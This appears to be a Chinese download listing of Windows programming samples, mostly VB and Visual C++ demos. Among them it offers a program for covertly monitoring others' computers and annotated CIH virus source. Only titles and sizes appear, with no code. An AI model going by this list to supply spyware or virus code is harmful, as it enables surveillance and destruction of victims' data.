<br>演示调用windows的字体对话框(281KB)<br>742,reg221.zip<br>注册使用ocx的例子(51KB)<br>743,ropdemo.zip <br>演示windows api的光栅操作(277KB)<br>744, jkcgi.zip<br>使用dll创建cgi程序(181KB)<br>745,fsextext.zip <br>显示多种函数效果的例子(228KB)<br>746,shfileop.zip<br>显示win95 api的一些函数(4KB)<br>747,iconextr.zip <br>从动态库, 执行文件或ico文件中读取图标(3KB)<br>748,virtlogo.zip <br>显示logo的例子(8KB)<br>749,calendar.zip <br>日历程序(13KB) <br>750,aboutbox.zip<br>windows关于窗口(1KB) <br>751,vblib.zip<br>装入不同的form(44KB)<br>752,vbio32.zip <br>问端口的程序(17KB)<br>753,countdown.zip <br>计数器(10KB)<br>754,galaxy.zip <br>演示银河系的例子(28KB)<br>755,rocket.zip <br>小图形的快速移动(9KB)<br>756,hlitactx.zip<br>加亮鼠标所在的区域(4KB)<br>757,appbar4.zip <br>模拟windows 95/98的任务条(3KB)<br>758, keyboard5.zip<br>显示键盘信息(7KB)<br>759,listsrch.zip <br>在列表框中快速查找和定位子项(7KB)<br>760,quiksrch.zip <br>在列表框或组合框中查找子项(3KB)<br>761,vba.zip <br>莱卡数据处理VBA(203KB)<br>762,SysMonth.zip <br>调用系统日历(5KB)<br>763,haha.zip <br>屏幕旋转180度(10KB)<br>764,undocsh.zip <br>未公开的Shell.dll 函数(11KB)<br>765,mousedemo.zip <br>鼠标性能演示程序(47KB)<br>766,winpaper.zip <br>墙纸定时更换器程序(70KB)<br>767,game.zip <br>游戏(57KB)<br>768,destroy.zip <br>电脑安全卫士(46KB)<br>769,encrypt1.zip <br>文本文件加密器1 (54KB)<br>770,card.zip <br>名片管理(35KB)<br>771,cihsafe.zip <br>CIH病毒免疫程序(63KB)<br>772,wb1-zippack.zip <br>密码小管家(13KB)<br>773,heibai.zip <br>黑白棋(6KB)<br>774,imdshtdown.zip <br>一个倒计时的程序,时间到则关闭系统(9KB)<br>775,iconproc.zip <br>1个图标操作的技巧,1个图标有5种显示效果(正常、无准备、选择、等等) (14KB)<br>776,money.zip <br>货币的数字到中文换算(2KB)
1,cccode.zip一个监控别人计算机的程序(65KB)2,cihcn.zipCIH病毒1.4版本之中文注释(25KB)3,regmonsrc.zip监控win9x下文件的读写(251KB)4,quickprt.zip增强的quickrpt(70KB)5,xxm.zip餐桌管理程序(83KB)6,dfbak.zip电费管理程序(981KB)7,pterm01b.zip终端仿真程序(63KB)8,drivevie.zip查看系统安装的驱动器(34KB)9,findprocess.zip列举所有的进程基类(107KB)10,mfctlist.zip列举操作系统中所有的进程,你能够在程序中消灭进程。程序由Visual C++ 5.0开发,工作于Windows 95(98),Windows NT 4.0(28KB)11,CServer.ZIP多线程实现客户-服务器结构的一个例子(37KB)12,splasher.zip用线程实现软件的片头(Splash Screen)(62KB)13,getinfo.zip获取系统硬件信息源代码(39KB)14,getfontinfo.zip获取系统所有字体信息源代码(51KB)15,detectos.zip获取操作系统版本信息源代码(42KB)16,gethostip.zip获得主机名和IP地址(34KB)17,shellext.zip用程序启动IE Outlook Explore(30KB)18,autolog.zipWinNT 自动登录源程序(13KB)19,cpuinfo.zip一个取得 CPU 信息的程序源码(164KB)20,apihook.zipAPI钩子APIHOOK 2.0 源代码(91KB)21,registry.zip查询修改注册表源代码(40KB)22,q1.zip程序创建两个线程,第一个线程没有消息队列,主线程尝试给第一个线程发送一个消息,我们可以看到PostThreadMessage()返回FALSE,程序创建的第二个线程有一个消息队列,主线程中的PostThreadMessage()返回TRUE,程序由Visual C++ 6.0开发,没有用到MFC(79KB)23,pstat.zip在程序需要进行较长时间工作的时候,总希望能有一个进度条告诉我们当前的进度,这个例子利用线程显示进度条值得一看 COOL(20KB)24,m4kit15.zip简单的环境继承(persistence)库(548KB)25,vxdlib11.zip自动生成虚拟设备驱动(VXD)的C++代码的一个库 COOL!(431KB)26,hklm.zipCHKLM类允许你在注册表的HKEY_LOCAL_MACHINE注册键中做写操作(10KB)27,pipe_pro.zip管道类(30KB)28,Storage.zip存储类(9KB)29,dt220.zip日期和时间的扩展类2.2版,需要安装(1149KB)30,dt221.zip日期和时间的扩展类2.2版的更新程序(22KB)31,DllIco.zip得到DLL/EXE文件中的资源定义 Cool(85KB)32,stealth.zip这个由Visual C++ 5.0开发的SDI程序演示如何让程序运行时在Window 95或Windows NT 4.0的任务条上不显示出来,程序重载了CMainFrame中的PreCreateWindow()函数 COOL(29KB)33,FontsTest.zip列举系统中的所有字体(41KB)34,memmap.zip操作内存映像文件,提供的CMemMapFile功能强大(16KB)35,cfile64.zip支持Win32 64位文件系统的一个类

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值